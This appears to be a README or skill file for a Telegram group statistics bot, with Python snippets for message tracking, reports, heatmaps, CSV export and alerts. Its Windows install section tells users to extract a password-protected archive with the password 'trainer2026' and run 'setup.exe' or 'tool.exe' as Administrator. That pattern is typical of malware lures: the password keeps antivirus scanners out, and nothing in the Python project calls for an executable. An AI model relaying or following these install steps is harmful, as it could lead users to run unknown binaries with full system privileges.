telegram-group-statistics-analytics-bot

# Telegram Group Statistics & Analytics Bot > Skill by [ara.so](https://ara.so) — Data Skills collection ## Overview This bot tracks and analyzes Telegram group activity including: - Member growth (joins, leaves, net changes) - Message statistics per user - Activity heatmaps (hours, days) - Engagement metrics - Automated daily/weekly reports (PDF/HTML) - CSV data export - Activity drop alerts ## Installation ### Windows Setup 1. Download the package from the repository 2. Extract using password: `trainer2026` 3. Run `setup.exe` or `tool.exe` as Administrator 4. Configure initial settings through the GUI ### Python/Source Installation If building from source (language detection needed): ```bash # Clone repository git clone https://github.com/ddperso/Telegram_Group_Statistics___Analytics_Bot.git cd Telegram_Group_Statistics___Analytics_Bot # Install dependencies pip install -r requirements.txt # Set up environment variables cp .env.example .env # Edit .env with your credentials ``` ## Configuration ### Environment Variables ```bash # Telegram API credentials (get from https://my.telegram.org) TELEGRAM_API_ID=your_api_id TELEGRAM_API_HASH=your_api_hash TELEGRAM_BOT_TOKEN=your_bot_token # Database configuration DATABASE_URL=sqlite:///telegram_stats.db # or PostgreSQL: postgresql://user:password@localhost/telegram_stats # Report settings REPORT_TIMEZONE=UTC DAILY_REPORT_TIME=09:00 WEEKLY_REPORT_DAY=monday # Alert thresholds ACTIVITY_DROP_THRESHOLD=30 # percent MIN_MESSAGE_COUNT=10 ``` ### Bot Configuration File Create `config.json`: ```json { "groups": [ { "id": -1001234567890, "name": "My Group", "track_messages": true, "track_members": true, "generate_reports": true } ], "features": { "activity_heatmap": true, "user_rankings": true, "export_csv": true, "pdf_reports": true, "html_reports": true }, "alerts": { "enabled": true, "notify_admins": true, "channels": ["email", "telegram"] } } ``` ## Usage Patterns ### Bot Commands ``` /start - Initialize bot and show menu /stats - Get current group statistics /report [daily|weekly|monthly] - Generate activity report /top [10] - Show top N active users /growth - Display member growth chart /export [csv|json] - Export data /heatmap - Generate activity heatmap /alerts on|off - Toggle activity alerts /settings - Configure bot parameters ``` ### Programmatic Usage (Python) ```python from telegram import Update from telegram.ext import Application, CommandHandler, MessageHandler, filters import os from datetime import datetime, timedelta # Initialize bot app = Application.builder().token(os.getenv("TELEGRAM_BOT_TOKEN")).build() # Track message handler async def track_message(update: Update, context): """Track every message for statistics""" chat_id = update.effective_chat.id user_id = update.effective_user.id message_date = update.message.date # Store in database await store_message_stat( chat_id=chat_id, user_id=user_id, username=update.effective_user.username, message_date=message_date, message_type=update.message.content_type ) # Generate statistics command async def get_stats(update: Update, context): """Get group statistics""" chat_id = update.effective_chat.id stats = await calculate_stats(chat_id, days=7) response = f""" 📊 **Group Statistics (Last 7 Days)** 👥 Members: {stats['total_members']} (+{stats['new_members']} | -{stats['left_members']}) 💬 Messages: {stats['total_messages']} 📈 Avg/Day: {stats['avg_messages_per_day']:.1f} 🔥 Most Active: @{stats['top_user']['username']} ({stats['top_user']['count']} msgs) ⏰ Peak Hour: {stats['peak_hour']}:00 📅 Daily Breakdown: {format_daily_breakdown(stats['daily_data'])} """ await update.message.reply_text(response, parse_mode="Markdown") # Member tracking async def track_member_join(update: Update, context): """Track new member joins""" for member in update.message.new_chat_members: await store_member_event( chat_id=update.effective_chat.id, user_id=member.id, username=member.username, event_type="join", timestamp=update.message.date ) async def track_member_leave(update: Update, context): """Track member leaves""" await store_member_event( chat_id=update.effective_chat.id, user_id=update.message.left_chat_member.id, username=update.message.left_chat_member.username, event_type="leave", timestamp=update.message.date ) # Register handlers app.add_handler(MessageHandler(filters.ALL, track_message)) app.add_handler(CommandHandler("stats", get_stats)) app.add_handler(MessageHandler(filters.StatusUpdate.NEW_CHAT_MEMBERS, track_member_join)) app.add_handler(MessageHandler(filters.StatusUpdate.LEFT_CHAT_MEMBER, track_member_leave)) # Run bot app.run_polling() ``` ### Database Schema ```python from sqlalchemy import Column, Integer, String, DateTime, ForeignKey, BigInteger from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() class Message(Base): __tablename__ = 'messages' id = Column(Integer, primary_key=True) chat_id = Column(BigInteger, index=True) user_id = Column(BigInteger, index=True) username = Column(String(255)) message_date = Column(DateTime, index=True) message_type = Column(String(50)) class MemberEvent(Base): __tablename__ = 'member_events' id = Column(Integer, primary_key=True) chat_id = Column(BigInteger, index=True) user_id = Column(BigInteger, index=True) username = Column(String(255)) event_type = Column(String(20)) # join/leave timestamp = Column(DateTime, index=True) class GroupStats(Base): __tablename__ = 'group_stats' id = Column(Integer, primary_key=True) chat_id = Column(BigInteger, unique=True) total_members = Column(Integer, default=0) total_messages = Column(Integer, default=0) last_updated = Column(DateTime) ``` ### Generating Reports ```python from reportlab.lib.pagesizes import letter from reportlab.pdfgen import canvas import matplotlib.pyplot as plt async def generate_pdf_report(chat_id: int, period: str = "weekly"): """Generate PDF report with charts""" stats = await calculate_stats(chat_id, period=period) # Create PDF filename = f"report_{chat_id}_{period}_{datetime.now().strftime('%Y%m%d')}.pdf" c = canvas.Canvas(filename, pagesize=letter) # Title c.setFont("Helvetica-Bold", 20) c.drawString(50, 750, f"Group Analytics Report - {period.capitalize()}") # Statistics c.setFont("Helvetica", 12) y = 700 for key, value in stats.items(): c.drawString(50, y, f"{key}: {value}") y -= 20 # Generate charts generate_activity_chart(stats['daily_data'], "activity_chart.png") c.drawImage("activity_chart.png", 50, 400, width=500, height=250) c.save() return filename def generate_activity_heatmap(chat_id: int, days: int = 30): """Generate activity heatmap""" data = fetch_hourly_activity(chat_id, days) # Create heatmap plt.figure(figsize=(12, 6)) plt.imshow(data, cmap='YlOrRd', aspect='auto') plt.colorbar(label='Message Count') plt.xlabel('Hour of Day') plt.ylabel('Day of Week') plt.title('Activity Heatmap') plt.xticks(range(24)) plt.yticks(range(7), ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']) filename = f"heatmap_{chat_id}.png" plt.savefig(filename) plt.close() return filename ``` ### CSV Export ```python import csv from datetime import datetime async def export_to_csv(chat_id: int, start_date: datetime, end_date: datetime): """Export statistics to CSV""" messages = await fetch_messages(chat_id, start_date, end_date) filename = f"export_{chat_id}_{start_date.strftime('%Y%m%d')}.csv" with open(filename, 'w', newline='', encoding='utf-8') as f: writer = csv.writer(f) writer.writerow(['Date', 'User ID', 'Username', 'Message Count', 'Type']) for msg in messages: writer.writerow([ msg.message_date.strftime('%Y-%m-%d %H:%M:%S'), msg.user_id, msg.username, 1, msg.message_type ]) return filename ``` ### Alert System ```python async def check_activity_alerts(chat_id: int): """Check for activity drops and send alerts""" current_activity = await get_daily_message_count(chat_id) avg_activity = await get_average_daily_messages(chat_id, days=30) threshold = float(os.getenv("ACTIVITY_DROP_THRESHOLD", 30)) drop_percent = ((avg_activity - current_activity) / avg_activity) * 100 if drop_percent > threshold: await send_alert( chat_id=chat_id, alert_type="activity_drop", message=f"⚠️ Activity dropped by {drop_percent:.1f}%!\n" f"Current: {current_activity} messages\n" f"Average: {avg_activity:.0f} messages" ) # Schedule periodic checks from apscheduler.schedulers.asyncio import AsyncIOScheduler scheduler = AsyncIOScheduler() scheduler.add_job(check_activity_alerts, 'interval', hours=1) scheduler.start() ``` ## Common Patterns ### Daily Report Automation ```python from apscheduler.triggers.cron import CronTrigger async def send_daily_report(context): """Send daily report to all configured groups""" for group in config['groups']: if group['generate_reports']: report = await generate_pdf_report(group['id'], "daily") await context.bot.send_document( chat_id=group['id'], document=open(report, 'rb'), caption="📊 Daily Activity Report" ) # Schedule at configured time report_time = os.getenv("DAILY_REPORT_TIME", "09:00").split(":") scheduler.add_job( send_daily_report, CronTrigger(hour=int(report_time[0]), minute=int(report_time[1])) ) ``` ### User Engagement Scoring ```python async def calculate_engagement_score(user_id: int, chat_id: int, days: int = 30): """Calculate user engagement score""" stats = await get_user_stats(user_id, chat_id, days) score = 0 score += stats['message_count'] * 1 score += stats['days_active'] * 5 score += stats['replies_received'] * 2 score += stats['media_shared'] * 3 # Normalize to 0-100 max_possible = days * 100 return min(100, (score / max_possible) * 100) ``` ## Troubleshooting ### Bot Not Receiving Messages - Ensure bot has privacy mode **disabled** in BotFather (`/setprivacy`) - Verify bot is added as admin if tracking member events - Check `TELEGRAM_API_ID` and `TELEGRAM_API_HASH` are correct ### Database Connection Issues ```python # Add retry logic from sqlalchemy import create_engine from sqlalchemy.pool import QueuePool engine = create_engine( os.getenv("DATABASE_URL"), poolclass=QueuePool, pool_size=10, max_overflow=20, pool_pre_ping=True # Verify connections ) ```